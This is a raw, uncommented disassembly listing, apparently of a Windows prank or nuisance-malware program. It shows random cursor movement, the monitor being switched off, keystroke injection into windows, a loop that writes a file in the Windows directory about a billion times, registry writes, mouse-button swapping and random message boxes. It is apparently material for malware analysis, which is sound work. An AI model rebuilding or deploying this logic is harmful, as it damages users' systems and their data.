call fcn.131432a4
push eax
call sub.kernel32.dll_Sleep
call fcn.1314e92c
mov eax, 0x46
call fcn.131432a4
add eax, dword [0x1315adf4]
push eax
mov eax, 0x64
call fcn.131432a4
add eax, dword [0x1315adf0]
push eax
call sub.user32.dll_SetCursorPos
call fcn.1314e92c
inc esi
cmp esi, 0x1f5
jne 0x1315605d
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae94]
mov edx, 0x13156a20
call fcn.13144838
jne 0x131560e9
mov dl, 1
xor eax, eax
call fcn.1314c0b4
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae98]
mov edx, 0x13156a20
call fcn.13144838
jne 0x1315611b
push 2
push 0xf170
push 0x112
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.user32.dll_SendMessageA
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae9c]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13156145
push 0x2328
push 0x3e8
call sub.kernel32.dll_Beep
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aea0]
mov edx, 0x13156a20
call fcn.13144838
jne 0x131563a2
xor edi, edi
call fcn.1314e92c
mov dword [0x1315adf8], 1
call fcn.1314e92c
push 0
push 0x13158df0
call sub.user32.dll_FindWindowA
mov ebx, eax
call fcn.1314e92c
test ebx, ebx
jbe 0x1315627d
push 1
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
push ebx
call sub.user32.dll_SetForegroundWindow
call fcn.1314e92c
mov esi, 1
add edi, dword [0x1315adf8]
call fcn.1314e92c
cmp edi, 0x32
je 0x131563a7
call fcn.1314e92c
push 0x9c4
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 1
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
push ebx
call sub.user32.dll_SetForegroundWindow
call fcn.1314e92c
mov eax, dword [0x1315ae18]
call fcn.1314e7d8
call fcn.1314e92c
mov al, 0x28
call fcn.1314e794
call fcn.1314e92c
mov al, 0x28
call fcn.1314e7a4
call fcn.1314e92c
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
mov al, 0x11
call fcn.1314e794
call fcn.1314e92c
mov al, 0x56
call fcn.1314e794
call fcn.1314e92c
mov al, 0x11
call fcn.1314e7a4
call fcn.1314e92c
mov al, 0x56
call fcn.1314e7a4
call fcn.1314e92c
xor edx, edx
mov al, 9
call fcn.1314e7b4
call fcn.1314e92c
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
inc esi
cmp esi, 0x33
jne 0x131561ad
call fcn.1314e92c
call fcn.1314e92c
test ebx, ebx
jne 0x13156294
push 0
push 0x13158dfc
call sub.user32.dll_FindWindowA
mov ebx, eax
call fcn.1314e92c
test ebx, ebx
jbe 0x1315639d
push 1
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
push ebx
call sub.user32.dll_SetForegroundWindow
call fcn.1314e92c
mov esi, 1
add edi, dword [0x1315adf8]
call fcn.1314e92c
cmp edi, 0x32
je 0x131563a7
call fcn.1314e92c
push 0x9c4
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 1
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
push ebx
call sub.user32.dll_SetForegroundWindow
call fcn.1314e92c
mov eax, dword [0x1315ae18]
call fcn.1314e7d8
call fcn.1314e92c
mov al, 0x28
call fcn.1314e794
call fcn.1314e92c
mov al, 0x28
call fcn.1314e7a4
call fcn.1314e92c
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
mov al, 0x11
call fcn.1314e794
call fcn.1314e92c
mov al, 0x56
call fcn.1314e794
call fcn.1314e92c
mov al, 0x11
call fcn.1314e7a4
call fcn.1314e92c
mov al, 0x56
call fcn.1314e7a4
call fcn.1314e92c
xor edx, edx
mov al, 9
call fcn.1314e7b4
call fcn.1314e92c
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
push 0x1f4
call sub.kernel32.dll_Sleep
call fcn.1314e92c
inc esi
cmp esi, 0x33
jne 0x131562be
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aed4]
mov edx, 0x13156a20
call fcn.13144838
jne 0x131564a4
push dword [0x1315ae6c]
push dword [0x1315ae70]
push 0x13158714
mov eax, 0x1315ae28
mov edx, 3
call fcn.131447ac
call fcn.1314e92c
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae70]
lea eax, [ebp - 0x450]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x450]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
mov esi, 1
push 0
push 0x1315ae38
mov eax, dword [0x1315ae28]
call fcn.131446ec
push eax
push 0x1315ae28
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
inc esi
cmp esi, 0x3b9aca01
jne 0x13156469
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aea4]
mov edx, 0x13156a20
call fcn.13144838
jne 0x131564cb
push 0
push 0x13158e10
call sub.kernel32.dll_WinExec
call fcn.1314e92c
call fcn.1314e92c
call fcn.13142ca4
call fcn.1314e92c
mov eax, 3
call fcn.131432a4
mov esi, eax
call fcn.1314e92c
test esi, esi
jne 0x13156506
mov eax, 0xea60
call fcn.131432a4
push eax
call sub.kernel32.dll_Sleep
call fcn.1314e92c
jmp 0x13156537
cmp esi, 1
jne 0x1315651d
mov eax, 0x15f90
call fcn.131432a4
push eax
call sub.kernel32.dll_Sleep
jmp 0x13156532
cmp esi, 2
jne 0x13156532
mov eax, 0x7530
call fcn.131432a4
push eax
call sub.kernel32.dll_Sleep
call fcn.1314e92c
call fcn.1314e92c
call fcn.13142ca4
call fcn.1314e92c
mov eax, 0x384
call fcn.131432a4
mov dword [0x1315adfc], eax
call fcn.1314e92c
cmp dword [0x1315adfc], 0x21
jne 0x13156576
push 0x40
push 0x13158e20
push 0x13158e24
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
cmp dword [0x1315adfc], 0xc8
jne 0x1315659a
push 0x30
push 0x13158e3c
push 0x13158e48
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
cmp dword [0x1315adfc], 0x1b0
jne 0x13156620
push 0x13158520
mov ecx, 0x13158e78
mov edx, 0x13158e8c
mov eax, 0x80000002
call fcn.1314c6fc
call fcn.1314e92c
push 0x12c
call sub.kernel32.dll_Sleep
call fcn.1314e92c
mov al, 0x11
call fcn.1314e794
call fcn.1314e92c
mov al, 0x91
call fcn.1314e794
call fcn.1314e92c
mov al, 0x91
call fcn.1314e7a4
call fcn.1314e92c
mov al, 0x91
call fcn.1314e794
call fcn.1314e92c
mov al, 0x91
call fcn.1314e7a4
call fcn.1314e92c
mov al, 0x11
call fcn.1314e7a4
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 4
jne 0x1315664c
push 0x13158520
mov ecx, 0x13158ec0
mov edx, 0x13158ed0
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 4
jne 0x131566f4
push 0x13158520
mov ecx, 0x13158f14
mov edx, 0x13158ed0
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
push 0x13158f28
mov ecx, 0x13158f14
mov edx, 0x13158ed0
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
push 0x13158f34
mov ecx, 0x13158f14
mov edx, 0x13158ed0
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
push 0x13158f40
mov ecx, 0x13158f14
mov edx, 0x13158ed0
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
push 0x13158f4c
mov ecx, 0x13158f14
mov edx, 0x13158ed0
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0xb1
jne 0x13156716
push 1
push 0x13158f50
call sub.user32.dll_LoadKeyboardLayoutA
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0x378
jne 0x13156733
push 0xffffffffffffffff
call sub.user32.dll_SwapMouseButton
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0x309
jne 0x13156753
mov eax, 0x13158f64
call fcn.1314e7d8
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0x29a
jne 0x131567dc
mov eax, 0x13158f70
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158f7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158f88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158f94
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158fa4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158fb0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0x222
jne 0x1315680d
push 0
push 0x13158fbc
call sub.user32.dll_FindWindowA
mov ebx, eax
call fcn.1314e92c
push 0
push ebx
call sub.user32.dll_ShowWindow
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0xeb
jne 0x1315683e
push 0
push 0
push 0xa
push 0x13158fcc
push 0x13158fdc
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_SendMessageA
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0x235
jne 0x13156887
xor eax, eax
push ebp
push 0x13156878
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x1314d34c
call sub.user32.dll_EnumWindows
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13156882
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0x2a2
jne 0x131568ad
push 0x13158960
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_SetWindowTextA
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 1
jne 0x131568ec
xor eax, eax
push ebp
push 0x131568dd
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.1314d558
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x131568e7
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315adfc], 0x303
jne 0x1315690b
xor edx, edx
mov al, 0xd
call fcn.1314e7b4
call fcn.1314e92c
call fcn.1314e92c
jmp 0x13154563